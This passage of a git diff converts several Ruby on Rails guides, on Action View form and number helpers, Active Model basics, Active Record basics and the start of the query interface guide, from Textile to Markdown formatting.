1, this would return: -<html> +```html <select name="post[author_id]"> <option value="">Please select</option> <option value="1" selected="selected">D. Heinemeier Hansson</option> <option value="2">D. Thomas</option> <option value="3">M. Clark</option> </select> -</html> +``` -h5. collection_radio_buttons +#### collection_radio_buttons -Returns +radio_button+ tags for the collection of existing return values of +method+ for +object+'s class. +Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class. Example object structure for use with this method: -<ruby> +```ruby class Post < ActiveRecord::Base belongs_to :author end @@ -1167,32 +1176,32 @@ class Author < ActiveRecord::Base "#{first_name.first}. #{last_name}" end end -</ruby> +``` -Sample usage (selecting the associated Author for an instance of Post, +@post+): +Sample usage (selecting the associated Author for an instance of Post, `@post`): -<ruby> +```ruby collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) -</ruby> +``` -If <tt>@post.author_id</tt> is 1, this would return: +If `@post.author_id` is 1, this would return: -<html> +```html <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" /> <label for="post_author_id_1">D. Heinemeier Hansson</label> <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" /> <label for="post_author_id_2">D. Thomas</label> <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" /> <label for="post_author_id_3">M. Clark</label> -</html> +``` -h5. collection_check_boxes +#### collection_check_boxes -Returns +check_box+ tags for the collection of existing return values of +method+ for +object+'s class. +Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class. Example object structure for use with this method: -<ruby> +```ruby class Post < ActiveRecord::Base has_and_belongs_to_many :author end @@ -1203,17 +1212,17 @@ class Author < ActiveRecord::Base "#{first_name.first}. #{last_name}" end end -</ruby> +``` -Sample usage (selecting the associated Authors for an instance of Post, +@post+): +Sample usage (selecting the associated Authors for an instance of Post, `@post`): -<ruby> +```ruby collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) -</ruby> +``` -If <tt>@post.author_ids</tt> is <tt><notextile>[1]</notextile></tt>, this would return: +If `@post.author_ids` is [1], this would return: -<html> +```html <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" /> <label for="post_author_ids_1">D. Heinemeier Hansson</label> <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" /> @@ -1221,23 +1230,23 @@ If <tt>@post.author_ids</tt> is <tt><notextile>[1]</notextile></tt>, this would <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" /> <label for="post_author_ids_3">M. Clark</label> <input name="post[author_ids][]" type="hidden" value="" /> -</html> +``` -h5. country_options_for_select +#### country_options_for_select Returns a string of option tags for pretty much any country in the world. -h5. country_select +#### country_select Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. -h5. option_groups_from_collection_for_select +#### option_groups_from_collection_for_select -Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments. +Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments. Example object structure for use with this method: -<ruby> +```ruby class Continent < ActiveRecord::Base has_many :countries # attribs: id, name @@ -1247,17 +1256,17 @@ class Country < ActiveRecord::Base belongs_to :continent # attribs: id, name, continent_id end -</ruby> +``` Sample usage: -<ruby> +```ruby option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) -</ruby> +``` Possible output: -<html> +```html <optgroup label="Africa"> <option value="1">Egypt</option> <option value="4">Rwanda</option> @@ -1269,328 +1278,329 @@ Possible output: <option value="5">Japan</option> ... </optgroup> -</html> +``` -Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag. +Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag. -h5. options_for_select +#### options_for_select Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. -<ruby> +```ruby options_for_select([ "VISA", "MasterCard" ]) # => <option>VISA</option> <option>MasterCard</option> -</ruby> +``` -Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag. +Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. -h5. options_from_collection_for_select +#### options_from_collection_for_select -Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text. +Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text. -<ruby> +```ruby # options_from_collection_for_select(collection, value_method, text_method, selected = nil) -</ruby> +``` For example, imagine a loop iterating over each person in @project.people to generate an input tag: -<ruby> +```ruby options_from_collection_for_select(@project.people, "id", "name") # => <option value="#{person.id}">#{person.name}</option> -</ruby> +``` -Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag. +Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. -h5. select +#### select Create a select tag and a series of contained option tags for the provided object and method. Example: -<ruby> +```ruby select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true }) -</ruby> +``` -If <tt>@post.person_id</tt> is 1, this would become: +If `@post.person_id` is 1, this would become: -<html> +```html <select name="post[person_id]"> <option value=""></option> <option value="1" selected="selected">David</option> <option value="2">Sam</option> <option value="3">Tobias</option> </select> -</html> +``` -h5. time_zone_options_for_select +#### time_zone_options_for_select Returns a string of option tags for pretty much any time zone in the world. -h5. time_zone_select +#### time_zone_select -Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags. +Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. -<ruby> +```ruby time_zone_select( "user", "time_zone") -</ruby> +``` -h4. FormTagHelper +### FormTagHelper Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. -h5. check_box_tag +#### check_box_tag Creates a check box form input tag. -<ruby> +```ruby check_box_tag 'accept' # => <input id="accept" name="accept" type="checkbox" value="1" /> -</ruby> +``` -h5. field_set_tag +#### field_set_tag Creates a field set for grouping HTML form elements. -<ruby> +```html+erb <%= field_set_tag do %> <p><%= text_field_tag 'name' %></p> <% end %> # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset> -</ruby> +``` -h5. file_field_tag +#### file_field_tag Creates a file upload field. Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically. -<ruby> +```html+erb <%= form_tag { :action => "post" }, { :multipart => true } do %> <label for="file">File to Upload</label> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> -</ruby> +``` Example output: -<ruby> +```ruby file_field_tag 'attachment' # => <input id="attachment" name="attachment" type="file" /> -</ruby> +``` -h5. form_tag +#### form_tag -Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+. +Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`. -<ruby> +```html+erb <%= form_tag '/posts' do %> <div><%= submit_tag 'Save' %></div> <% end %> # => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form> -</ruby> +``` -h5. hidden_field_tag +#### hidden_field_tag Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user. -<ruby> +```ruby hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" /> -</ruby> +``` -h5. image_submit_tag +#### image_submit_tag Displays an image which when clicked will submit the form. -<ruby> +```ruby image_submit_tag("login.png") # => <input src="/images/login.png" type="image" /> -</ruby> +``` -h5. label_tag +#### label_tag Creates a label field. -<ruby> +```ruby label_tag 'name' # => <label for="name">Name</label> -</ruby> +``` -h5. password_field_tag +#### password_field_tag Creates a password field, a masked text field that will hide the users input behind a mask character. -<ruby> +```ruby password_field_tag 'pass' # => <input id="pass" name="pass" type="password" /> -</ruby> +``` -h5. radio_button_tag +#### radio_button_tag Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options. -<ruby> +```ruby radio_button_tag 'gender', 'male' # => <input id="gender_male" name="gender" type="radio" value="male" /> -</ruby> +``` -h5. select_tag +#### select_tag Creates a dropdown selection box. -<ruby> +```ruby select_tag "people", "<option>David</option>" # => <select id="people" name="people"><option>David</option></select> -</ruby> +``` -h5. submit_tag +#### submit_tag Creates a submit button with the text provided as the caption. -<ruby> +```ruby submit_tag "Publish this post" # => <input name="commit" type="submit" value="Publish this post" /> -</ruby> +``` -h5. text_area_tag +#### text_area_tag Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions. -<ruby> +```ruby text_area_tag 'post' # => <textarea id="post" name="post"></textarea> -</ruby> +``` -h5. text_field_tag +#### text_field_tag Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query. -<ruby> +```ruby text_field_tag 'name' # => <input id="name" name="name" type="text" /> -</ruby> +``` -h4. JavaScriptHelper +### JavaScriptHelper Provides functionality for working with JavaScript in your views. -h5. button_to_function +#### button_to_function Returns a button that'll trigger a JavaScript function using the onclick handler. Examples: -<ruby> +```ruby button_to_function "Greeting", "alert('Hello world!')" button_to_function "Delete", "if (confirm('Really?')) do_delete()" button_to_function "Details" do |page| page[:details].visual_effect :toggle_slide end -</ruby> +``` -h5. define_javascript_functions +#### define_javascript_functions -Includes the Action Pack JavaScript libraries inside a single +script+ tag. +Includes the Action Pack JavaScript libraries inside a single `script` tag. -h5. escape_javascript +#### escape_javascript Escape carrier returns and single and double quotes for JavaScript segments. -h5. javascript_tag +#### javascript_tag Returns a JavaScript tag wrapping the provided code. -<ruby> +```ruby javascript_tag "alert('All is good')" -</ruby> +``` -<html> +```html <script> //<![CDATA[ alert('All is good') //]]> </script> -</html> +``` -h5. link_to_function +#### link_to_function Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact. -<ruby> +```ruby link_to_function "Greeting", "alert('Hello world!')" # => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a> -</ruby> +``` -h4. NumberHelper +### NumberHelper Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size. -h5. number_to_currency +#### number_to_currency Formats a number into a currency string (e.g., $13.65). -<ruby> +```ruby number_to_currency(1234567890.50) # => $1,234,567,890.50 -</ruby> +``` -h5. number_to_human_size +#### number_to_human_size Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users. -<ruby> +```ruby number_to_human_size(1234) # => 1.2 KB number_to_human_size(1234567) # => 1.2 MB -</ruby> +``` -h5. number_to_percentage +#### number_to_percentage Formats a number as a percentage string. -<ruby> +```ruby number_to_percentage(100, :precision => 0) # => 100% -</ruby> +``` -h5. number_to_phone +#### number_to_phone Formats a number into a US phone number. -<ruby> +```ruby number_to_phone(1235551234) # => 123-555-1234 -</ruby> +``` -h5. number_with_delimiter +#### number_with_delimiter Formats a number with grouped thousands using a delimiter. -<ruby> +```ruby number_with_delimiter(12345678) # => 12,345,678 -</ruby> +``` -h5. number_with_precision +#### number_with_precision -Formats a number with the specified level of +precision+, which defaults to 3. +Formats a number with the specified level of `precision`, which defaults to 3. -<ruby> +```ruby number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, 2) # => 111.23 -</ruby> +``` -h3. Localized Views +Localized Views +--------------- Action View has the ability render different templates depending on the current locale. -For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. +For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. -You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages. +You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. -Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+: +Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: -<ruby> +```ruby before_filter :set_expert_locale def set_expert_locale I18n.locale = :expert if current_user.expert? end -</ruby> +``` -Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. +Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users. -You can read more about the Rails Internationalization (I18n) API "here":i18n.html. +You can read more about the Rails Internationalization (I18n) API [here](i18n.html). diff --git a/guides/source/active_model_basics.textile b/guides/source/active_model_basics.md index 2c30ddb84c..bfb088ed03 100644 --- a/guides/source/active_model_basics.textile +++ b/guides/source/active_model_basics.md @@ -1,20 +1,22 @@ -h2. Active Model Basics +Active Model Basics +=================== This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework. -endprologue. +-------------------------------------------------------------------------------- WARNING. This guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. -h3. Introduction +Introduction +------------ Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below. -h4. AttributeMethods +### AttributeMethods The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. -<ruby> +```ruby class Person include ActiveModel::AttributeMethods @@ -41,13 +43,13 @@ person.age_highest? # true person.reset_age # 0 person.age_highest? # false -</ruby> +``` -h4. Callbacks +### Callbacks Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. -<ruby> +```ruby class Person extend ActiveModel::Callbacks @@ -65,13 +67,13 @@ class Person # This method will call when you are calling update on object as a before_update callback as defined. end end -</ruby> +``` -h4. Conversion +### Conversion -If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class. +If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class. -<ruby> +```ruby class Person include ActiveModel::Conversion @@ -88,13 +90,13 @@ person = Person.new person.to_model == person #=> true person.to_key #=> nil person.to_param #=> nil -</ruby> +``` -h4. Dirty +### Dirty An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name -<ruby> +```ruby require 'active_model' class Person @@ -124,11 +126,11 @@ class Person end end -</ruby> +``` -h5. Querying object directly for its list of all changed attributes. +#### Querying object directly for its list of all changed attributes. -<ruby> +```ruby person = Person.new person.first_name = "First Name" @@ -145,13 +147,13 @@ person.changed_attributes #=> {"first_name" => "First Name Changed"} #returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field. person.changes #=> {"first_name" => ["First Name","First Name Changed"]} -</ruby> +``` -h5. Attribute based accessor methods +#### Attribute based accessor methods Track whether the particular attribute has been changed or not. -<ruby> +```ruby #attr_name_changed? person.first_name #=> "First Name" @@ -159,28 +161,28 @@ person.first_name #=> "First Name" person.first_name = "First Name 1" person.first_name_changed? #=> true -</ruby> +``` Track what was the previous value of the attribute. -<ruby> +```ruby #attr_name_was accessor person.first_name_was #=> "First Name" -</ruby> +``` Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil. -<ruby> +```ruby #attr_name_change person.first_name_change #=> ["First Name", "First Name 1"] person.last_name_change #=> nil -</ruby> +``` -h4. Validations +### Validations Validations module adds the ability to class objects to validate them in Active Record style. -<ruby> +```ruby class Person include ActiveModel::Validations @@ -201,4 +203,4 @@ person.email = 'me@vishnuatrai.com' person.valid? #=> true person.token = nil person.valid? #=> raises ActiveModel::StrictValidationFailed -</ruby> +``` diff --git a/guides/source/active_record_basics.textile b/guides/source/active_record_basics.md index 487f8b70f9..5bc100f326 100644 --- a/guides/source/active_record_basics.textile +++ b/guides/source/active_record_basics.md @@ -1,4 +1,5 @@ -h2. Active Record Basics +Active Record Basics +==================== This guide is an introduction to Active Record. After reading this guide we hope that you'll learn: @@ -8,21 +9,22 @@ This guide is an introduction to Active Record. After reading this guide we hope * Active Record schema naming conventions * The concepts of database migrations, validations and callbacks -endprologue. +-------------------------------------------------------------------------------- -h3. What is Active Record? +What is Active Record? +---------------------- -Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system. +Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system. -h4. The Active Record Pattern +### The Active Record Pattern Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database. -h4. Object Relational Mapping +### Object Relational Mapping Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code. -h4. Active Record as an ORM Framework +### Active Record as an ORM Framework Active Record gives us several mechanisms, the most important being the ability to: @@ -32,187 +34,195 @@ Active Record gives us several mechanisms, the most important being the ability * Validate models before they get persisted to the database * Perform database operations in an object-oriented fashion. -h3. Convention over Configuration in Active Record +Convention over Configuration in Active Record +---------------------------------------------- When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason. -h4. Naming Conventions +### Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class `Book`, you should have a database table called **books**. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., +book_clubs+) -* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) +* Database Table - Plural with underscores separating words (e.g., `book_clubs`) +* Model Class - Singular with the first letter of each word capitalized (e.g., `BookClub`) -|_.Model / Class |_.Table / Schema | -|+Post+ |+posts+| -|+LineItem+ |+line_items+| -|+Deer+ |+deer+| -|+Mouse+ |+mice+| -|+Person+ |+people+| +| Model / Class | Table / Schema | +| ------------- | -------------- | +| `Post` | `posts` | +| `LineItem` | `line_items` | +| `Deer` | `deer` | +| `Mouse` | `mice` | +| `Person` | `people` | -h4. Schema Conventions +### Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* **Foreign keys** - These fields should be named following the pattern `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the fields that Active Record will look for when you create associations between your models. +* **Primary keys** - By default, Active Record will use an integer column named `id` as the table's primary key. When using [Rails Migrations](migrations.html) to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* +created_at+ - Automatically gets set to the current date and time when the record is first created. -* +created_on+ - Automatically gets set to the current date when the record is first created. -* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. -* +updated_on+ - Automatically gets set to the current date whenever the record is updated. -* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. -* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html -* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* `created_at` - Automatically gets set to the current date and time when the record is first created. +* `created_on` - Automatically gets set to the current date when the record is first created. +* `updated_at` - Automatically gets set to the current date and time whenever the record is updated. +* `updated_on` - Automatically gets set to the current date whenever the record is updated. +* `lock_version` - Adds [optimistic locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model. +* `type` - Specifies that the model uses [Single Table Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html) +* `(table_name)_count` - Used to cache the number of belonging objects on associations. For example, a `comments_count` column in a `Post` class that has many instances of `Comment` will cache the number of existent comments for each post. -NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. -h3. Creating Active Record Models +Creating Active Record Models +----------------------------- -It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the `ActiveRecord::Base` class and you're good to go: -<ruby> +```ruby class Product < ActiveRecord::Base end -</ruby> +``` -This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: +This will create a `Product` model, mapped to a `products` table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the `products` table was created using an SQL sentence like: -<sql> +```sql CREATE TABLE products ( id int(11) NOT NULL auto_increment, name varchar(255), PRIMARY KEY (id) ); -</sql> +``` Following the table schema above, you would be able to write code like the following: -<ruby> +```ruby p = Product.new p.name = "Some Book" puts p.name # "Some Book" -</ruby> +``` -h3. Overriding the Naming Conventions +Overriding the Naming Conventions +--------------------------------- What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. -You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used: +You can use the `ActiveRecord::Base.table_name=` method to specify the table name that should be used: -<ruby> +```ruby class Product < ActiveRecord::Base self.table_name = "PRODUCT" end -</ruby> +``` -If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the +set_fixture_class+ method in your test definition: +If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the `set_fixture_class` method in your test definition: -<ruby> +```ruby class FunnyJoke < ActiveSupport::TestCase set_fixture_class :funny_jokes => 'Joke' fixtures :funny_jokes ... end -</ruby> +``` -It's also possible to override the column that should be used as the table's primary key using the +ActiveRecord::Base.set_primary_key+ method: +It's also possible to override the column that should be used as the table's primary key using the `ActiveRecord::Base.set_primary_key` method: -<ruby> +```ruby class Product < ActiveRecord::Base set_primary_key "product_id" end -</ruby> +``` -h3. CRUD: Reading and Writing Data +CRUD: Reading and Writing Data +------------------------------ -CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. +CRUD is an acronym for the four verbs we use to operate on data: **C**reate, **R**ead, **U**pdate and **D**elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. -h4. Create +### Create -Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The `new` method will return a new object while `create` will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: +For example, given a model `User` with attributes of `name` and `occupation`, the `create` method call will create and save a new record into the database: -<ruby> +```ruby user = User.create(:name => "David", :occupation => "Code Artist") -</ruby> +``` -Using the +new+ method, an object can be created without being saved: +Using the `new` method, an object can be created without being saved: -<ruby> +```ruby user = User.new user.name = "David" user.occupation = "Code Artist" -</ruby> +``` -A call to +user.save+ will commit the record to the database. +A call to `user.save` will commit the record to the database. -Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: +Finally, if a block is provided, both `create` and `new` will yield the new object to that block for initialization: -<ruby> +```ruby user = User.new do |u| u.name = "David" u.occupation = "Code Artist" end -</ruby> +``` -h4. Read +### Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. -<ruby> +```ruby # return array with all records users = User.all -</ruby> +``` -<ruby> +```ruby # return the first record user = User.first -</ruby> +``` -<ruby> +```ruby # return the first user named David david = User.find_by_name('David') -</ruby> +``` -<ruby> +```ruby # find all users named David who are Code Artists and sort by created_at in reverse chronological order users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC') -</ruby> +``` -You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide. +You can learn more about querying an Active Record model in the [Active Record Query Interface](active_record_querying.html) guide. -h4. Update +### Update Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database. -<ruby> +```ruby user = User.find_by_name('David') user.name = 'Dave' user.save -</ruby> +``` -h4. Delete +### Delete Likewise, once retrieved an Active Record object can be destroyed which removes it from the database. -<ruby> +```ruby user = User.find_by_name('David') user.destroy -</ruby> +``` -h3. Validations +Validations +----------- -Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview. +Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#validations-overview). -h3. Callbacks +Callbacks +--------- -Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview. +Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#callbacks-overview). -h3. Migrations +Migrations +---------- -Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html +Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the [Active Record Migrations guide](migrations.html) diff --git a/guides/source/active_record_querying.textile b/guides/source/active_record_querying.md index e21b86721f..2fb0bf1d69 100644 --- a/guides/source/active_record_querying.textile +++ b/guides/source/active_record_querying.md @@ -1,4 +1,5 @@ -h2. Active Record Query Interface +Active Record Query Interface +============================= This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to: @@ -10,687 +11,695 @@ This guide covers different ways to retrieve data from the database using Active * Perform various calculations on Active Record models * Run EXPLAIN on relations -endprologue. +-------------------------------------------------------------------------------- If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: -TIP: All of the following models use +id+ as the primary key, unless specified otherwise. +TIP: All of the following models use `id` as the primary key, unless specified otherwise. -<ruby> +```ruby class Client < ActiveRecord::Base has_one :address has_many :orders has_and_belongs_to_many :roles end -</ruby> +``` -<ruby> +```ruby class Address < ActiveRecord::Base belongs_to :client end -</ruby> +``` -<ruby> +```ruby class Order < ActiveRecord::Base belongs_to :client, :counter_cache => true end -</ruby> +``` -<ruby> +```ruby class Role < ActiveRecord::Base has_and_belongs_to_many :clients end -</ruby> +``` Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. -h3. Retrieving Objects from the Database +Retrieving Objects from the Database +------------------------------------ To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL. The methods are: -* +bind+ -* +create_with+ -* +eager_load+ -* +extending+ -* +from+ -* +group+ -* +having+ -* +includes+ -* +joins+ -* +limit+ -* +lock+ -* +none+ -* +offset+ -* +order+ -* +none+ -* +preload+ -* +readonly+ -* +references+ -* +reorder+ -* +reverse_order+ -* +select+ -* +uniq+ -* +where+ - -All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. - -The primary operation of <tt>Model.find(options)</tt> can be summarized as: + +* `bind` +* `create_with` +* `eager_load` 